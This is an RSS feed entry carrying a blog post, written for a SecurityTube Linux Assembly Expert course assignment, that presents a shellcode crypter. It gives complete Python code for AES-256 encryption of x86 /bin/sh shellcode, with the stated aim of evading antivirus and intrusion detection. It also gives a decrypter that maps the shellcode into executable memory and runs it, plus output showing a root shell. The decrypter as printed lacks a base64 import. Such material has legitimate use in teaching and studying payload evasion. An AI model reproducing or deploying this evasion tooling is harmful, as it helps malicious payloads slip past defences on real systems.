<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>crypter Archives -</title>
	<atom:link href="https://barriersec.com/category/slae/crypter/feed/" rel="self" type="application/rss+xml" />
	<link>https://barriersec.com/category/slae/crypter/</link>
	<description></description>
	<lastBuildDate>Mon, 14 Sep 2020 03:01:12 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.2.15</generator>

<image>
	<url>https://barriersec.com/wp-content/uploads/cropped-Monochrome-on-Transparent-32x32.png</url>
	<title>crypter Archives -</title>
	<link>https://barriersec.com/category/slae/crypter/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Linux/x86 Custom shellcode Crypter</title>
		<link>https://barriersec.com/2018/12/linux-x86-custom-shellcode-crypter/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Sun, 02 Dec 2018 14:58:25 +0000</pubDate>
				<category><![CDATA[crypter]]></category>
		<category><![CDATA[slae]]></category>
		<category><![CDATA[x86]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=379</guid>

					<description><![CDATA[<p>Hi Everyone! Today we will write a simple shellcode crypter, Which encrypts original shellcode and then a decrypter decodes and&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/12/linux-x86-custom-shellcode-crypter/">Linux/x86 Custom shellcode Crypter</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Hi Everyone! Today we will write a simple shellcode crypter, Which encrypts original shellcode and then a decrypter decodes and executes original shellcode in memory.</p>
<p>Why Crypters?</p>
<p>shellcode can easily be fingerprinted by AV , IDS systems. in order to prevent such finger printing or to increase our chance of evading such systems while we execute shellcode , we can encrypt the original shellcode.  And moreover more complex/ harder the encryption algorithm, More chances we have to evade AV&#8217;s.</p>
<p>We can even increase our chance of evasion, by chaining different methods such as encoding and different cycle of encryption .</p>
<p>choosing the encryption algorithm was the biggest challenge for me , I decided to go with <strong>AES &#8211; 256</strong> encryption . AES(Advanced Encryption Standard ) is a symmetric encryption algorithm , which means a single same key is used for both encryption and decryption. Number of rounds of encryption cycle , in this case its 14(max rounds) .</p>
<p>I decided to implement with the help of <strong>pycrypto</strong> module which is available for python.</p>
<p>Here is my simple crypter program(<strong>encrypt.py</strong>) :</p>
<pre>#Crypter AES - 256
#Author : goutham madhwaraj
#website : https://barriersec.com

import base64
import hashlib
from Crypto.Cipher import AES
from Crypto import Random
from ctypes import *
import sys
import argparse


parser = argparse.ArgumentParser()
parser.add_argument('-k', "--key", help='secret key used to encrypt shellcode')
parser.add_argument('-s', "--shellcode", help='shellcode should have \ escaped ')

args = parser.parse_args()

if args.key == None and args.shellcode == None :
    parser.print_help()
    exit()

print("Pycrypto AES-256 crypter\n")

secret = args.key
shellcode = args.shellcode

print("provided key :\t",secret,"\n")
print("provided shellcode :\t",shellcode,"\n")

BLOCK_SIZE = 16
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]

def encrypt(raw, password):
    private_key = hashlib.sha256(password.encode("utf-8")).digest()
    raw = pad(raw)
    iv = Random.new().read(AES.block_size)
    cipher = AES.new(private_key, AES.MODE_CBC, iv)
    return base64.b64encode(iv + cipher.encrypt(raw))




shellcode_encrypted = encrypt(shellcode, secret)
print("encrypted shellcode :\t",shellcode_encrypted)</pre>
<p>My script takes two arguments, <strong>key</strong> and <strong>shellcode. </strong> <strong>shellcode</strong> is the original shellcode to be encrypted with the provided <strong>key . </strong></p>
<p>I will use one of my previous simple spawn a shell shellcode :</p>
<p><strong>\\x29\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x89\\xc1\\x99\\x6a\\x0b\\x58\\xcd\\x80&#8243;</strong></p>
<p>and key : <strong>secret</strong></p>
<p>lets execute and test :</p>
<pre>root@kali:~/slae_crypter# python3 encrypt.py -k "secret" -s "\\x29\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x89\\xc1\\x99\\x6a\\x0b\\x58\\xcd\\x80"
Pycrypto AES-256 crypter

provided key :	 secret 

provided shellcode :	 \x29\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x99\x6a\x0b\x58\xcd\x80 

encrypted shellcode :	 b'mY3byagSnODp3hjw219NkmjkvU1BWpWYFRyoSN1upEtt9pgd0XLneFUweIpgMrCK/uiUD0SbwyFUg6ciKLlrQUYMG/rzkZFzT/1/3yQb/7j3QX1WsMC/OE11nCE14ZEl8vK7aZriwePk7nGhzAm6ig=='</pre>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-389" src="https://barriersec.com/wp-content/uploads/encrypt.png" alt="" width="1148" height="668" srcset="https://barriersec.com/wp-content/uploads/encrypt.png 1148w, https://barriersec.com/wp-content/uploads/encrypt-300x175.png 300w, https://barriersec.com/wp-content/uploads/encrypt-768x447.png 768w, https://barriersec.com/wp-content/uploads/encrypt-1024x596.png 1024w" sizes="(max-width: 1148px) 100vw, 1148px" /></p>
<p>&nbsp;</p>
<p>Now here is my custom implemented decrypter in python (<strong>decrypt.py</strong>) :</p>
<pre>#Crypter AES - 256
#Author : goutham madhwaraj
#website : https://barriersec.com
import hashlib
from Crypto.Cipher import AES
from Crypto import Random
from ctypes import *
import sys
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-k', "--key", help='secret key used to decrypt shellcode')
parser.add_argument('-e', "--shellcode", help='encrypted shellcode should be a string')

args = parser.parse_args()

if args.key == None and args.shellcode == None :
    parser.print_help()
    exit()

print("Pycrypto AES-256 crypter\n")

secret = args.key
shellcode = args.shellcode.encode()


print("provided key :\t",secret,"\n")
print("encoded shellcode :\t",shellcode,"\n")

BLOCK_SIZE = 16
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]

def decrypt(enc, password):
    private_key = hashlib.sha256(password.encode("utf-8")).digest()
    enc = base64.b64decode(enc)
    iv = enc[:16]
    cipher = AES.new(private_key, AES.MODE_CBC, iv)
    return unpad(cipher.decrypt(enc[16:]))


decrypted = decrypt(shellcode, secret)
exec_shellcode = bytes.decode(decrypted)
print("decoded shellcode....\n")
print(exec_shellcode)

value2 = bytes(exec_shellcode,"ISO-8859-1")

byte_shellcode = value2.decode('unicode-escape').encode('ISO-8859-1')
print(byte_shellcode)

libc = CDLL('libc.so.6') #loading an external libc library
sc_addr = c_char_p(byte_shellcode)
size = len(byte_shellcode)
addr = c_void_p(libc.valloc(size) #dynamically allocate memory of shellcode size
memmove(addr, sc_addr, size) #move shellcode to known address allocated
libc.mprotect(addr, size, 0x7) # use mprotect to mark the memory as executable. ( similar to what we do @ROP)
run = cast(addr, CFUNCTYPE(c_void_p))
run() # jump to shellcode</pre>
<p>This Decrypter program takes two argument. one is the <strong>key</strong> to be used for decryption and <strong>encrypted shellcode</strong> (base 64) in string format. One of the interesting thing i learned doing this exercise is , how to execute shellcode  bypassing NX dynamically once decrypted. here we dynamically create a certain amount(shellcode size) of memory at run time and move the shellcode to the allocated memory using <strong>memmove </strong>function. We make use of  <strong>external libc library</strong> to utilize <strong>mprotect function, </strong>which helps us to <strong>mark the memory as executable</strong>. (which prevents execution by default) and finally jump to the shellcode which spawns a shell in this case.</p>
<p>lets execute and test :</p>
<pre>root@kali:~/slae_crypter# python3 decrypt.py -k "secret" -e "Ape8yDPlJg1QIK2x12Q6OlPVSIH29puCp/fViVXSfqFAzW3lycav8prlJR0T1Te7qs7SifLnMnYXKRLAxgl8Ar2ugV2hD2ymQh2Vgmm+v73UP2Ylqc+AGcmnN2h746SbjOFMpBALsRYzeqXiLO2qGA=="
Pycrypto AES-256 crypter

b'Ape8yDPlJg1QIK2x12Q6OlPVSIH29puCp/fViVXSfqFAzW3lycav8prlJR0T1Te7qs7SifLnMnYXKRLAxgl8Ar2ugV2hD2ymQh2Vgmm+v73UP2Ylqc+AGcmnN2h746SbjOFMpBALsRYzeqXiLO2qGA=='
provided key :	 secret 
encoded shellcode :	 b'Ape8yDPlJg1QIK2x12Q6OlPVSIH29puCp/fViVXSfqFAzW3lycav8prlJR0T1Te7qs7SifLnMnYXKRLAxgl8Ar2ugV2hD2ymQh2Vgmm+v73UP2Ylqc+AGcmnN2h746SbjOFMpBALsRYzeqXiLO2qGA==' 
decoded shellcode....

\x29\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x99\x6a\x0b\x58\xcd\x80
b')\xc0Ph//shh/bin\x89\xe3\x89\xc1\x99j\x0bX\xcd\x80'
# 
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)</pre>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-394" src="https://barriersec.com/wp-content/uploads/decrypt.png" alt="" width="1198" height="643" srcset="https://barriersec.com/wp-content/uploads/decrypt.png 1198w, https://barriersec.com/wp-content/uploads/decrypt-300x161.png 300w, https://barriersec.com/wp-content/uploads/decrypt-768x412.png 768w, https://barriersec.com/wp-content/uploads/decrypt-1024x550.png 1024w" sizes="(max-width: 1198px) 100vw, 1198px" /></p>
<p>WootWoot! a shell <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f600.png" alt="😀" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p>link to github repo for the code :</p>
<p><a href="https://github.com/strikergoutham/SLAE_assignments">https://github.com/strikergoutham/SLAE_assignments</a></p>
<p><strong>This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.</strong></p>
<p>(<a href="https://www.pentesteracademy.com/course?id=3">https://www.pentesteracademy.com/course?id=3</a>)</p>
<p>SLAE student ID :  <strong>SLAE – 1367</strong></p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/12/linux-x86-custom-shellcode-crypter/">Linux/x86 Custom shellcode Crypter</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
